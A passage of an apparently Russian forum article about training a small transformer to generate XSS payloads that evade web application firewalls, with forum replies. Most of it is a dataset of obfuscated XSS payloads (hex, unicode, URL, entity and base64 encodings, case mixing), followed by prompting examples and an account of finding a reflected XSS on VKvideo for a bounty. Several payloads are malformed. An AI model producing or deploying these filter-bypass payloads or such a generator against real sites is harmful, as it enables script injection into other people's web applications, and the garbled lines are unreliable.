[WAF:alert,onerror|FIELD:eval|CONTEXT:js|ENCODING:unicode]'; \u0045VAl('\\u00750070\u0072\u006f\u006d\u0070\u0074(1)'); //

[WAF:alert,onerror|FIELD:eval|CONTEXT:js|ENCODING:unicode]'; eval('\u0070\u0072\u006\u0066\u006d\u0070\u0074(1)'); //

[WAF:alert,onerror|FIELD:eval|CONTEXT:js|ENCODING:base64]'; eval(atob('cHJvbXB0KDEp')); //

[WAF:alert,onerror|FIELD:eval|CONTEXT:js|ENCODING:base64]'; evaL(aTOb('cHjvbXB0kDEp')); //

[WAF:alert,onerror|FIELD:eval|CONTEXT:js|ENCODING:base64]'; EVal(atob('cHJvbXB0KDEp')); //

[WAF:script|FIELD:function|CONTEXT:js|ENCODING:hex]'; Function('\x61\x6c\x65\x72\x74(1)')(); //

[WAF:script|FIELD:function|CONTEXT:js|ENCODING:hex]'; FUnCTio\x4e('\\x7861\x6c\x65\x72\x74(1)')(); //

[WAF:script|FIELD:function|CONTEXT:js|ENCODING:hex]'; Function('\\x7861\x6c\x65\x72\x74(1)')(); //

[WAF:script|FIELD:function|CONTEXT:js|ENCODING:unicode]'; Function('\u0061\u006c\u0065\u0072\u0074(1)')(); //

[WAF:script|FIELD:function|CONTEXT:js|ENCODING:unicode]'; f\u0075\u006eCtION('\u0061\u006c\u0065\u0072\u0074(1)')(); //

[WAF:script|FIELD:function|CONTEXT:js|ENCODING:unicode]'; F\\u00750075nction('\u0061\u006c\u0065\u0072\u0074(1)')(); //

[WAFnerror|FIELD:timeout|CONTEXT:js|ENCODING:hex]'; setTimeout('\x61\x6c\x65\x72\x74(1)', 0); //

[WAFnerror|FIELD:timeout|CONTEXT:js|ENCODING:hex]'; se\x74Timeout('\x61\x6\x63\x65\x72\x74(1)', 0); //

[WAFnerror|FIELD:timeout|CONTEXT:js|ENCODING:hex]'; setTimeout('\\x7861\x6c\x65\x72\x74(1)', 0); //

[WAFnerror|FIELD:timeout|CONTEXT:js|ENCODING:unicode]'; setTimeout('\u0061\u006c\u0065\u0072\u0074(1)', 0); //

[WAFnerror|FIELD:timeout|CONTEXT:js|ENCODING:unicode]'; setT\\u00750069meout('\u0061\u006c\u0065\u0072\u0074(1)', 0); //

[WAFnerror|FIELD:timeout|CONTEXT:js|ENCODING:unicode]'; s\\u00750065tTimeout('\u0061\u006c\u0065\u0072\u0074(1)', 0); //

[WAF:|FIELD:iframe|CONTEXT:html|ENCODING:html]&gt;&lt;iframe srcdoc="&lt;script&gt;alert(1)&lt;/script&gt;"&gt;

[WAF:|FIELD:iframe|CONTEXT:html|ENCODING:html]&gT;&lt;iF&#114;ame &#115;RCDoC="&lt;scripT&GT;alerT(1)&lT;/scRiPT&gt;"&gt;

[WAF:|FIELD:iframe|CONTEXT:html|ENCODING:html]&gt;&lt;i&#102;rame srcdoc="&lt;script&gt;alert(1)&lt;/script&gt;"&gt;

[WAF:|FIELD:iframe|CONTEXT:html|ENCODING:html]&gt;&lt;if&#x72;am&#x65; srcdoc="&lt;scri&#x70;t&gt;alert(1)&lt;/script&gt;"&gt;

[WAF:|FIELD:iframe|CONTEXT:html|ENCODING:html]&&#x67;&#x74;;&lt;&#x69;frame srcdoc="&lt;ScRipT&gt;aLerT(1)&lt;/ScRipT&gt;"&gt;

[WAF:|FIELD:iframe|CONTEXT:html|ENCODING:url]%3E%3Ciframe%20srcdoc%3D%22%3Cscript%3Ealert(1)%3C/script%3E%22%3E

[WAF:|FIELD:iframe|CONTEXT:html|ENCODING:url]%3%65%3CI%46ra%6DE%20srcdoc%3D%22%3CscriPt%3EalErT(1)%3C/SCript%3E%22%3e

[WAF:|FIELD:iframe|CONTEXT:html|ENCODING:url]%3E%3Ciframe%20sr%63%64%6Fc%3D%22%3Cs%63ript%3Ealert(1)%3C/script%3E%22%3E

[WAF:script,alert|FIELD:meta|CONTEXT:html|ENCODING:url]%3E%3Cmeta%20http-equiv%3D%22refresh%22%20content%3D%220;url=javascript:alert(1)%22%3E

[WAF:script,alert|FIELD:meta|CONTEXT:html|ENCODING:url]%3E%3Cmeta%20http-equiv%3D%22refresh%22%20content%3D%220;url=&#106;avascript:alert(1)%22%3E

[WAF:script,alert|FIELD:meta|CONTEXT:html|ENCODING:url]%3E%3Cmeta%20http-equiv%3D%22refresh%22%20content%3D%220;url=j%61vas%63ript:alert(1)%22%3E

[WAF:script,alert|FIELD:meta|CONTEXT:html|ENCODING:url]%3e%3CmETA%20htTp-eqUiv%3d%22%52efRESh%22%20CoNtent%3D%220;URl=ja%56Ascript:ale%72t(1)%22%3e

[WAF:script,onerror|FIELD:style|CONTEXT:css|ENCODING:url]%22%3E%3Cstyle%3E@import%20url(javascript:alert(1));%3C/style%3E

[WAF:script,onerror|FIELD:style|CONTEXT:css|ENCODING:url]%22%3e%3CstyLE%3E@iMPort%20uRl(javA%73%43riPt:a%4Cert(1));%3C/style%3e

[WAF:script,onerror|FIELD:style|CONTEXT:css|ENCODING:url]%22%3E%3Cstyle%3E@i%6Dport%20ur%6C(javascr%69pt:alert(1));%3%43/style%3E

[WAF:script,onerror|FIELD:style|CONTEXT:css|ENCODING:url]%22%3E%3Cstyle%3E@import%20url(&#106;avascript:alert(1));%3C/style%3E

[WAF:script,onerror|FIELD:style|CONTEXT:css|ENCODING:css_escape]\"\3E \3Cstyle\3E @import url(javascript:alert(1))\3B \3C/style\3E

[WAF:script,onerror|FIELD:style|CONTEXT:css|ENCODING:css_escape]\\\"\\\3\E\ \\\3\C\s\t\y\l\e\\\3\E\ \@\i\m\p\o\r\t\ \u\r\l\(\j\a\v\a\s\c\r\i\p\t\:\a\l\e\r\t\(\1\)\)\\\3\B\ \\\3\C\/\s\t\y\l\e\\\3\E

[WAF:alert,onerror|FIELD:link|CONTEXT:html|ENCODING:html]&gt;&lt;link rel="import" href="data:text/html,&lt;script&gt;prompt(1)&lt;/script&gt;"&gt;

[WAF:alert,onerror|FIELD:link|CONTEXT:html|ENCODING:html]&gt&#59;&&#108;t;link &#114;el="import" href="data:text/html,&lt;script&gt;prompt(1)&lt;/script&gt;"&gt;

[WAF:alert,onerror|FIELD:link|CONTEXT:html|ENCODING:html]&gt;&lt;link rel="import" href="data:te&#x78;t/html,&lt;sCRIPT&gt;prompT(1)&lt;/sCRIPT&gt;"&gt;

[WAF:alert,onerror|FIELD:link|CONTEXT:html|ENCODING:html]&gt;&&#x6c;t;link rel="import" href="&#x64;ata:te&#x78;t/html,&lt;script&gt;prompt(1)&lt;/script&gt;"&gt;

[WAF:alert,onerror|FIELD:link|CONTEXT:html|ENCODING:html]&&#103;T;&lt;Li&#110;k rel="iMport" hREf="&#100;Ata:text/HTML,&lt;script&gt;PRoMpt(1)&lt;/script&gT;"&gt;

[WAF:script|FIELD:script|CONTEXT:html|ENCODING:url]%3E%3Cscript%20src%3D%22data:text/javascript,alert(1)%22%3E%3C/script%3E

[WAF:script|FIELD:script|CONTEXT:html|ENCODING:url]%3E%3cscrIPt%20Src%3D%22DaTa:%74%65Xt/jaVasCripT,aleRt(1)%22%3e%3C/scRIPt%3e

[WAF:script|FIELD:script|CONTEXT:html|ENCODING:url]%3E%3Cscript%20src%3D%22data:text/javas%63ript,al%65rt(1)%22%3E%3C/%73cript%3E

[WAFnerror|FIELDbject|CONTEXT:html|ENCODING:base64]><object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">

[WAFnerror|FIELDbject|CONTEXT:html|ENCODING:base64]><oBJecT datA="datA:text/Html;Base64,pHNJcmlWdD5hBGVydcgxKTwvc2NyaxB0PG==">

[WAF:|FIELD:embed|CONTEXT:html|ENCODING:url]%3E%3Cembed%20src%3D%22data%3Atext/html,%3Cscript%3Ealert(1)%3C/script%3E%22%3E

[WAF:|FIELD:embed|CONTEXT:html|ENCODING:url]%3E%3CemBed%20src%3d%22D%61ta%3atext/Htm%6C,%3CsCrIPT%3EaleRT(1)%3c/scRi%70T%3E%22%3E

[WAF:|FIELD:embed|CONTEXT:html|ENCODING:url]%3E%3Cembed%20%73rc%3D%22data%3Atext/htm%6C,%3Cscr%69pt%3%45alert(1)%3C/script%3E%22%3E

[WAF:script,alert|FIELD:applet|CONTEXT:html|ENCODING:html]&gt;&lt;applet code="javascript:alert(1)"&gt;

[WAF:script,alert|FIELD:applet|CONTEXT:html|ENCODING:html]&&#x67;t;&lt;applet code="JAvasCRIPt:aLe&#x72;t(1)"&gt;

[WAF:script,alert|FIELD:applet|CONTEXT:html|ENCODING:html]&gt;&&#x6c;t;applet code="&#x6a;avasc&#x72;ipt:alert(1)"&gt;

[WAF:script,alert|FIELD:applet|CONTEXT:html|ENCODING:html]&gt;&lt;A&#112;pLEt code=&quot;jAVAsCRipT:alerT(1)"&gT;

[WAF:script,alert|FIELD:applet|CONTEXT:html|ENCODING:html]&g&#116;;&lt;appl&#101;t code=&quot;javascript:alert(1)"&gt;

[WAF:script,onerror|FIELD:form|CONTEXT:html|ENCODING:multipart]>--boundary\r\nContent-Disposition: form-data; name="x"\r\n\r\n<form action="javascript:alert(1)"><input type="submit">

[WAF:script,onerror|FIELD:form|CONTEXT:html|ENCODING:multipart]>--bouNdAry\R\NCoNtent-DiSPOsItion: form-daTA; nAMe="x"\r\n\R\n<fOrm AcTion="JaVAscrIpT:AlErt(1)"><InPut tYpe="subMiT">

[WAF:script,onerror|FIELD:form|CONTEXT:html|ENCODING:multipart]>--boundary\r\nContent-Disposition: form-data; name="x"\r\n\r\n<form action="jAvAScript:aLErT(1)"><input type="submit">

[WAF:alert,onerror|FIELD:input|CONTEXT:html|ENCODING:url]%3E%3Cinput%20type%3D%22image%22%20src%3D%22x%22%20formaction%3D%22javascript:prompt(1)%22%3E

[WAF:alert,onerror|FIELD:input|CONTEXT:html|ENCODING:url]%3E%3ciNPuT%20typE%3D%22IMaGe%22%20Src%3D%22x%22%20form%61%63Tion%3D%22jaV%61ScrIp%74:promPt(1)%22%3e

[WAF:alert,onerror|FIELD:input|CONTEXT:html|ENCODING:url]%3E%3Cinput%20type%3D%22image%22%20src%3D%22x%22%20formaction%3D%22jAvAsCrIpT:prompt(1)%22%3E

[WAF:alert,onerror|FIELD:input|CONTEXT:html|ENCODING:url]%3E%3Cinput%20type%3D%22image%22%20src%3D%22x%22%20formaction%3D%22%6Aav%61script:prompt(1)%22%3E

[WAF:script|FIELD:button|CONTEXT:html|ENCODING:html]&gt;&lt;button formaction="javascript:alert(1)"&gt;click&lt;/button&gt;

[WAF:script|FIELD:button|CONTEXT:html|ENCODING:html]&gt;&&#x6c;t;b&#x75;tt&#x6f;n formaction="javascript:alert(1)"&gt;click&lt;/button&gt;

[WAF:script|FIELD:button|CONTEXT:html|ENCODING:html]&gt;&lt;BuTtoN formaCtiOn="javAscrI&#112;T:alert(1)"&gt;cLIcK&lt;/&#98;UttoN&gt;

[WAF:script|FIELD:button|CONTEXT:html|ENCODING:html]&gt&#59;&lt;butto&#110; forma&#99;tion="javascript:alert(1)"&gt;click&lt;/button&gt;

[WAF:script|FIELD:button|CONTEXT:html|ENCODING:html]&gt;&lt;button formaction="JAvascrIpt:aLErT(1)"&gt;clic&#x6b;&lt;/button&gt;

[WAFnerror|FIELD:video|CONTEXT:html|ENCODING:url]%3E%3Cvideo%20src%3D%22x%22%20onerror%3D%22alert(1)%22%3E

[WAFnerror|FIELD:video|CONTEXT:html|ENCODING:url]%3E%3Cvideo%20src%3D%22%78%22%20oner%72or%3D%22aler%74(1)%22%3E

[WAFnerror|FIELD:video|CONTEXT:html|ENCODING:url]%3E%3%63VidEo%20Src%3%44%22x%22%20onErrOr%3%44%22aLert(1)%22%3E

[WAF:|FIELD:audio|CONTEXT:html|ENCODING:base64]><audio src="data:audio/wav;base64,AAA=" onerror="alert(1)">

[WAF:|FIELD:audio|CONTEXT:html|ENCODING:base64]><aUDIo sRC="daTa:Audio/wav;bAsE64,AAa=" ONErrOr="Alert(1)">

[WAF:|FIELD:audio|CONTEXT:html|ENCODING:base64]><audio src="data:audio/wav;base64,AAA=" ONerRor="aLErT(1)">

[WAF:script,alert|FIELD:portal|CONTEXT:html|ENCODING:url]%3E%3Cportal%20src%3D%22data%3Atext/html,%3Cscript%3Ealert(1)%3C/script%3E%22%3E

[WAF:script,alert|FIELD:portal|CONTEXT:html|ENCODING:url]%3e%3cportal%20%73Rc%3d%22datA%3ATExt/H%54ml,%3cSCript%3%45alErt(1)%3c/scripT%3E%22%3E

[WAF:script,alert|FIELD:portal|CONTEXT:html|ENCODING:url]%3E%3Cportal%20%73rc%3D%22data%3Atext/html,%3Cscript%3Ealer%74(1)%3C/script%3E%22%3%45

[WAF:script,onerror|FIELD:template|CONTEXT:html|ENCODING:html]&gt;&lt;template&gt;&lt;script&gt;alert(1)&lt;/script&gt;&lt;/template&gt;

[WAF:script,onerror|FIELD:template|CONTEXT:html|ENCODING:html]&Gt;&lt;tEMplaTe&&#103;t;&LT;scRipT&Gt;ALeRt(1)&lT;/SCrIpt&GT;&lT;/teMplate&Gt;

[WAF:script,onerror|FIELD:template|CONTEXT:html|ENCODING:html]&gt;&&#x6c;t;template&gt;&lt;&#x73;CriPT&gt;AlERt(1)&lt;/sCriPT&gt;&lt;/template&gt;

[WAF:script,onerror|FIELD:template|CONTEXT:html|ENCODING:html]&gt;&lt;tem&#112;late&gt;&lt;s&#99;ript&gt;alert(1)&lt;/script&gt;&lt;/template&gt;

[WAF:script,onerror|FIELD:template|CONTEXT:html|ENCODING:html]&gt;&lt;tem&#x70;late&gt;&lt;script&gt;alert(1)&lt;/script&gt;&lt;/template&gt;

[WAF:alert,onerror|FIELD:slot|CONTEXT:html|ENCODING:shadow>><slot name="x"><script>prompt(1)</script></slot>

[WAF:script|FIELD:custom|CONTEXT:js|ENCODING:hex]'; customElements.define('\x78\x2d\x78', class extends HTMLElement { connectedCallback() { \x61\x6c\x65\x72\x74(1) } }); //

[WAF:script|FIELD:custom|CONTEXT:js|ENCODING:hex]'; \x63ustomEl\x65ments.define('\x78\x2d\x78', class extends HTMLElement { connectedCallback() { \x61\x6c\x65\x72\x74(1) } }); //

[WAF:script|FIELD:custom|CONTEXT:js|ENCODING:hex]'; customEl\x65ments.define('\x78\x2d\x78', class extends HTMLElement { connectedCallback() { \x61\x6c\x65\x72\x74(1) } }); //

[WAFnerror|FIELD:worker|CONTEXT:js|ENCODING:base64]'; new Worker('data:text/javascript;base64,YWxlcnQoMSk='); //

[WAFnerror|FIELD:worker|CONTEXT:js|ENCODING:base64]'; new Worker('data:text/jAVaScRiPT;base64,YWxlcnQoMSk='); //

[WAFnerror|FIELD:worker|CONTEXT:js|ENCODING:base64]'; neW WorkER('daTa:text/javAsCripT;bAse64,yWxlcnQOmSk='); //

[WAF:|FIELD:blob|CONTEXT:js|ENCODING:hex]'; new Blob(['\x3c\x73\x63\x72\x69\x70\x74\x3e\x61\x6c\x65\x72\x74(1)\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e'], {type: 'text/html'}); //

[WAF:|FIELD:blob|CONTEXT:js|ENCODING:hex]'; new Blob(['\\x783c\x73\x63\x72\x69\x70\x74\x3e\x61\x6c\x65\x72\x74(1)\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e'], {type: 'text/html'}); //

[WAF:|FIELD:blob|CONTEXT:js|ENCODING:hex]'; new Blob(['\x3c\x73\x63\x72\x69\x70\x74\x3e\x61\x6c\x65\x72\x74(1)\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e'], {\x74ype: 'text/html'}); //

[WAF:script,alert|FIELD:import|CONTEXT:js|ENCODING:url]'; import('data%3Atext/javascript,alert(1)'); //

[WAF:script,alert|FIELD:import|CONTEXT:js|ENCODING:url]'; im%70oR%74('datA%3AtexT/JA%76asCript,alErT(1)'); //

[WAF:script,alert|FIELD:import|CONTEXT:js|ENCODING:url]'; im%70or%74('data%3Atext/javascript,alert(1)'); //

[WAF:script,onerror|FIELD:websocket|CONTEXT:url|ENCODING:url]ws%3A%2F%2Fexample.com%2F%22%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E

[WAF:script,onerror|FIELD:websocket|CONTEXT:url|ENCODING:url]w%53%3A%2F%2FexamPLE.coM%2f%22%3e%3CscRiPt%3%45a%4C%65rt(1)%3c%2Fscript%3e

[WAF:script,onerror|FIELD:websocket|CONTEXT:url|ENCODING:url]ws%3A%2F%2Fexample.com%2F%22%3E%3C%73cript%3Eale%72t(1)%3C%2%46script%3E

[WAF:alert,onerror|FIELD:postmessage|CONTEXT:js|ENCODING:base64]'; window.addEventListener('message', function(e){eval(atob(e.data))}); postMessage(btoa('alert(1)'), '*'); //

[WAF:alert,onerror|FIELD:postmessage|CONTEXT:js|ENCODING:base64]'; windoW.aDdeVeNtLisTener('MessAgE', functioN(e){eval(Atob(e.daTA))}); posTMesSaGe(btoa('alErt(1)'), '*'); //

[WAF:alert,onerror|FIELD:postmessage|CONTEXT:js|ENCODING:base64]'; WInDow.addEventListener('message', fUnctIoN(e){EVAl(atob(e.data))}); postMessage(btoa('aleRt(1)'), '*'); //

[WAF:script|FIELD:storage|CONTEXT:js|ENCODING:html]'; localStorage.setItem('x', '&lt;img src=x onerror=alert(1)&gt;'); //

[WAF:script|FIELD:storage|CONTEXT:js|ENCODING:html]'; LoCaL&#115;TORAge.sETItem('x', '&LT;Img Src=x OnERRor=alErt(1&#41;&GT;'); //

[WAF:script|FIELD:storage|CONTEXT:js|ENCODING:html]'; loc&#x61;lStorage.setItem('x', '&lt;img src=x ONerrOr=aLert(1)&gt;'); //

[WAF:script|FIELD:storage|CONTEXT:js|ENCODING:html]'; loc&#x61;lStorage.setItem('x', '&lt;img src=x onerror=alert(1)&gt;'); //

[WAF:script|FIELD:storage|CONTEXT:js|ENCODING:html]'; localStorage.setItem('&#120;', '&lt;img src=x onerror=alert(1)&gt;'); //

[WAFnerror|FIELD:clipboard|CONTEXT:js|ENCODING:url]'; navigator.clipboard.writeText('%3Cscript%3Ealert(1)%3C/script%3E'); //

[WAFnerror|FIELD:clipboard|CONTEXT:js|ENCODING:url]'; Navigator.clipBoaRd.wRiTEtEXt('%3CSC%52iP%74%3Ealert(1)%3C/sCrIPt%3E'); //

[WAFnerror|FIELD:clipboard|CONTEXT:js|ENCODING:url]'; navigator.clipboard.%77riteTex%74('%3Cscri%70t%3Ealer%74(1)%3C/script%3E'); //

[WAF:|FIELD:notify|CONTEXT:js|ENCODING:hex]'; Notification.requestPermission(function(){\x61\x6c\x65\x72\x74(1)}); //

[WAF:|FIELD:notify|CONTEXT:js|ENCODING:hex]'; Notification.req\x75estPermission(function(){\x61\x6c\x65\x72\x74(1)}); //

[WAF:|FIELD:notify|CONTEXT:js|ENCODING:hex]'; \x4eotification.\x72equestPermission(FuNctioN(){\x61\x6c\x65\x72\x74(1)}); //

3.7. Как проверить, что промпты работают​

После обучения модели запустите test.py с разными промптами:
Context: [WAF:script,alert|FIELD:search|CONTEXT:html_attr|ENCODING:utf8]
Payload: "><img src=x onerror=confirm(1)>

Context: [WAF:script,alert|FIELD:search|CONTEXT:html_attr_single|ENCODING:utf8]
Payload: '><img src=x onerror=confirm(1)>

Context: [WAF:script,alert|FIELD:search|CONTEXT:js|ENCODING:utf8]
Payload: '; alert(1); //
Если для похожих промптов модель генерирует разные пэйлоады — она действительно научилась понимать контекст. Если все ответы одинаковые — датасет слишком маленький или однообразный.

3.8. Промпты как инструмент управления моделью​

Когда модель обучена, промпт становится вашим главным инструментом управления. Меняя параметры в мета-теге, вы заставляете модель генерировать пэйлоады под разные условия.
Примеры:
# Обычный HTML-атрибут
[WAF:script,alert|FIELD:search|CONTEXT:html_attr|ENCODING:utf8]

# Атрибут в одинарных кавычках
[WAF:script,alert|FIELD:search|CONTEXT:html_attr_single|ENCODING:utf8]

# JavaScript-контекст
[WAF:script,alert|FIELD:username|CONTEXT:js|ENCODING:utf8]

# URL (для редиректов)
[WAF:onerror|FIELD:avatar|CONTEXT:url|ENCODING:url]

# JSON API
[WAF:|FIELD:api|CONTEXT:json|ENCODING:utf8]

# Разные кодировки для обхода фильтров
[WAF:script|FIELD:profile|CONTEXT:url|ENCODING:url]
[WAF:script|FIELD:profile|CONTEXT:url|ENCODING:hex]
[WAF:script|FIELD:profile|CONTEXT:url|ENCODING:double_url]
Если модель хорошо обучена, она будет генерировать осмысленный пэйлоад для любого сочетания параметров, даже если конкретная комбинация не встречалась в датасете. В этом и заключается сила нейросетей — способность обобщать.

Глава 4. Тестирование​

Итак, запустим наш prepare.py и получаем следующее:
Не удалось прогрузить медиа


Отлично, словарь создался, датасет обработан.
Запускаем наше обучение:
Не удалось прогрузить медиа


Спустя 6к итераций получаем такой результат:
Не удалось прогрузить медиа


Конечный loss у нас 0.1414, что весьма неплохо, а вот val loss получился 1.7714
Это связано с тем что модель хорошо понимает те примеры которые есть в датасете, но плохо справляется с теми которых в датасете нет. То есть по факту проблема в том что датасет довольно маленький и однообразный. Если его расширить и добавить больше примеров, то результаты будут гораздо лучше.

Давай проверим на тестах:
Не удалось прогрузить медиа

Честно говоря, на таком датасете я ожидал более худших результатов. Но интересно что модель не только справилась, но и сгенерировала оригинальные варианты.
То есть у нас:
  • onerrOr=prompt(1) (смешанный регистр)
  • oncHange=aleRt(1) (обфускация регистром)
  • (asynCTIon(){ aleRT(1)})() (функция с обфусцированным названием)
  • <Img src=x OnERr=alErT(1)> (разный регистр в тегах)

Это показывает, что модель выучила паттерны, а не просто запомнила конкретные строки из датасета. Именно ради этого мы и обучали нейросеть.
Да, в ответах есть некоторые проблемы, такие как опечатки и потеря букв, но это решается расширением датасета и увеличением интераций обучения.

Глава 5. Реальный пример из практики​

Рассмотрим случай нахождения мной реальной Reflected XSS на сервисе VKvideo (отчет со скрина в начале статьи) при помощи этого инструмента. Он, как мне кажется, хорошо демонстрирует плюсы генерации пайлоадов через архитектуры трансформеров.
Не удалось прогрузить медиа
Не удалось прогрузить медиа

Для понимания - Большие ЛЛМ, такие как ChatGPT, DeepSeek, ClaudeAI не смогли выявить данную уязвимость, в то время как лично обученная мною модель выдала подходящий и максимально неочевидный пайлоад на 8 генерации. Все потому что эти флагманские модели ориентируются на то чтобы выдать качественные и максимально логичные ответы исходя из особенностей языка и построения предложения, что "распыляет" их внимание и из за чего эффективность ответов не такая какая хотелось бы, а наша обученная микро модель просто пытается подобрать наиболее перспективные токены исходя из контекста и не тратит внимание на сторонние задачи.
Важно: Уязвимость уже закрыта и исправлена. Сейчас этот неочевидный триггер обрабатывается.

Ручной поиск и магия случайности модели​

Начал я стандартно: вбил в поиск vkvideo.ru/?q=test123 и посмотрел, где отображается текст.
Оказалось, что пользовательский ввод попадает в два места:
  1. В блок «Показаны результаты по запросу "test123"» — внутри HTML
  2. В атрибут href ссылки (если в запросе был URL)
Я перепробовал кучу стандартных пэйлоадов, ничего не работало. WAF либо резал атрибуты, либо экранировал кавычки, либо просто отбрасывал опасные теги.
Тогда я решил применить модель.
Я запустил свой xss_gen.py (аналог test.py из статьи) с промптом, который описывал реальную ситуацию на сайте. На тот момент я уже понял, что стандартные пэйлоады не работают, и решил дать модели максимально широкий контекст.
Промпт, который я ввёл:
[WAF:script,alert,onerror,onload|FIELD:search|CONTEXT:html_href|ENCODING:utf8]

Не удалось прогрузить медиа
​

Небольшая оговорка:
Датасет который я прикрепил вам в статье начальный, мой личный содержит гораздо больше примеров и стек технологий (не только стандартные пайлоады, но и продвинутая обфускация, пайлоады для React, Next js и тд)
Что вообще обозначает этот промпт:
  • WAF:script,alert,onerror,onload — я перечислил всё, что сайт гарантированно блокировал
  • FIELD:search — уязвимое поле было поиском
  • CONTEXT:html_href — я заметил, что ввод попадает в атрибут href ссылки
  • ENCODING:utf8 — обычная кодировка
Модель получила задание: «WAF блокирует все эти ключевые слова, поле — поиск, контекст — атрибут href. Сгенерируй пэйлоад».
Она выдала несколько вариантов. Один из них выглядел так:
Не удалось прогрузить медиа

Я сначала не понял, что такое @imate. Этого слова не было в датасете. Модель его придумала сама.

Откуда модель взяла ​

Модель не знает, что такое @imate. Она просто комбинировала символы, которые видела в датасете:
  • Символ @ встречался в примерах с обфускацией и в современных контекстах (React-роутинг, параметры в URL)
  • Слово imate — случайная комбинация, которую модель сгенерировала, потому что она похожа на английские слова 
    Модель не понимала, что делает. Она просто перебирала варианты, которые статистически вероятны. И один из них оказался рабочим. Слово могло быть любым, спец символы тоже, просто модель выдала то что выдала.

Почему это сработало?​

Сложно сказать точно.
Когда я ввёл @imate, сервер, вероятно, обработал запрос как-то иначе. Возможно, @ воспринимается как маркер пользователя (как в соцсетях: @username). Всё, что после @imate, попало в блок результатов поиска без нормальной фильтрации. WAF смотрел на запрос, не увидел там &lt;script&gt; или onerror — и пропустил.
Почему именно imate, а не любое другое слово? Может быть, это слово было в белом списке. Может быть, длина имела значение. Может быть, совпадение.

Важно другое: модель не знала про этот баг. Она просто сгенерировала случайную строку с символом @. Человек бы не додумался проверять @imate, это слишком похоже на бред и неочевидно. А модель проверила (в смысле, предложила проверить), и баг нашёлся. Более того, сначала я думал что модель просто проигнорировала контекст WAF со словами которые он блокирует (так как выдала javascript:alert('XSS'), а в контексте было указано WAF:script,alert,onerror,onload), однако тот факт, что из всех сгенерированных пайлоадов только 1 был с запрет словами навел меня на мысль - а что если это не игнорирование контекста, а предположение того что в данном случае контекст не имеет значения, при таком ключевом слове в начале?

Как итог + 1 интересный кейс в работе и + 15 тысяч в качестве бонуса, пайлоад отработал как надо:
Не удалось прогрузить медиа

Не удалось прогрузить медиа
​

Глава 6. Заключение​

В этой статье я не стал уделять внимание пониманию того, как именно работают трансформеры, как работает механизм внимания и не стал углубляться в принципы токенизации. Если у вас есть желание все это понять и рассмотреть подробнее, дайте знать, напишу более подробную статью с объяснениями (или серию статей?).

На самом то деле, генерация XSS это прям верхушка айсберга, вещей можно делать массу. Да и код я вам дал базовый, для реального боя необходимо добавить немного улучшений. Сами архитектуры моделей это лишь часть хорошего результата, гораздо важнее механизм ее взаимодействия с вашими данными и пайплайны работы.

Когда я только начинал изучать всю эту тему мне казалось, что вся эта тема с ИИ нечто прорывное и невероятное. На деле же это все не больше чем работа с матрицами и векторами, чистая математика.

Да, код который я вам дал не приведет вас к созданию своего Claude Mythos или GPT-5, но и изначальная задача того не требовала.
Если немного углубиться в тему, то можно понять, что все эти крутые и популярные апостолы ИИ тренда по сути своей ничего прорывного не делают, в конечном итоге они все базируются на одном и том же принципе.
👍44 ❤️9 😁11 👏4 🤔4 💯4
Ну, Вы довольно красиво(что в отдельный плюсик можно вам сложить) показали довольно перспективное направление работы с вебом, по генерации пайлоадов. В принципе, Ваш материал хорошо отражает базовый минимальный стек(у вас на многим известном torch написан минимально функциональный проект), да и подача интересная, с отдельным вниманием уделенным на базовую матчасть.

Думаю, Ваш материал более чем достоин оплаты. Хорошая статья.

Однако, теперь небольшие замечания, которые можно будет Вам в случае чего взять на следующие статьи(определенно буду ждать;) ):
1) Простая генерация пайлодов - конечно, тоже очень хорошо, вон в случае XSS мы на позиции потенциального багхантера просто начинаем перебор пайлоадов, и с помощью какой-то из технологий ищем вариант, который нашел отражение. Однако, с SQL-инъекциями и прочими из этого класса увидеть Ваши мысли и, возможно, уже имеющиеся наработки было бы интереснее: модель получает на вход результаты в ответ на базовые конструкции и в зависимости от ответа сервера сама ищет, в какую сторону развиваться и как модифицировать полезную нагрузку, чтобы "прошло". Был бы прикольный "ассистент", в интерактивном формате взаимодействия - изучил, построил варианты, изучил на них отклик.. 
2) Хотелось бы отражения в вашей подаче чуть большего количества нюансов, связанных с обучением железяк, но это лишь мои хотелки и на тему вашей статьи это безусловно не проецируется.

Удачи в дальнейшем творчестве!
👍5 🔥1
ОтветleakinN_nname

Ну, Вы довольно красиво(что в отдельный плюсик можно вам сложить) показали довольно перспективное направление работы с вебом, по генерации пайлоадов. В принципе, Ваш материал хорошо отражает базовый минимальный стек(у…

Благодарю за обратную связь) Да, думаю стоит в следующий раз показать работу небольших моделей на других задачах, все учту:giggle:
👍4 ❤️1 🔥1
не понимаю, чем лучше своя нейронка, заточенная на определенный тип уязвимостей, от универсального локального qwen 3.6 
Qwen3.6-27B - с миллиардами параметров?

Да, железо требуется покруче, но разве не стоит овчинка выделки?
Ответlisa99

не понимаю, чем лучше своя нейронка, заточенная на определенный тип уязвимостей, от универсального локального qwen 3.6 Qwen3.6-27B - с миллиардами параметров? Да, железо требуется покруче, но разве не стоит овчинка…

Тут изначально задача стояла не в том чтобы получить что то крайне мощное и объемное в плане знаний
Исходя из личного опыта могу сказать что это гораздо удобнее и быстрее, чем постоянно включать локальную LLM и ждать ее окончательной загрузки

К тому же большую часть времени провожу за своим простеньким макбуком у которого 8гб оперативной памяти и данный проект появился как раз для оптимизации работы именно на довольно слабом железе (можно было бы конечно использовать платные апи чтобы нагрузка была прям минимальная, но тут уже сыграл роль исследовательский интерес)

В общем все это в совокупности и позволило эксперименту и статье существовать
👍2
Очень хорошая и полезная статья, таргет вообще огонь.
Кинь плиз исходники на файл обменник, хочу кое что попробовать, а ещё размести PGP плиз, напишу в ЛС :)
👍3
Ответec5745y

Очень хорошая и полезная статья, таргет вообще огонь. Кинь плиз исходники на файл обменник, хочу кое что попробовать, а ещё размести PGP плиз, напишу в ЛС :)

Привет, сори что так долго отвечал, загрузил исходники на гитхаб - https://github.com/retrominimal/gptXSS/
👍2
интересное решение, но я тоже , если честно досихпор не понимаю этого, облачный инференс стоит грубо говоря 100 рублей за несколько часов работы
Ответthomson

интересное решение, но я тоже , если честно досихпор не понимаю этого, облачный инференс стоит грубо говоря 100 рублей за несколько часов работы

В целом да, кому то может будет проще использовать большие ЛЛМ как облачные, так и локальные
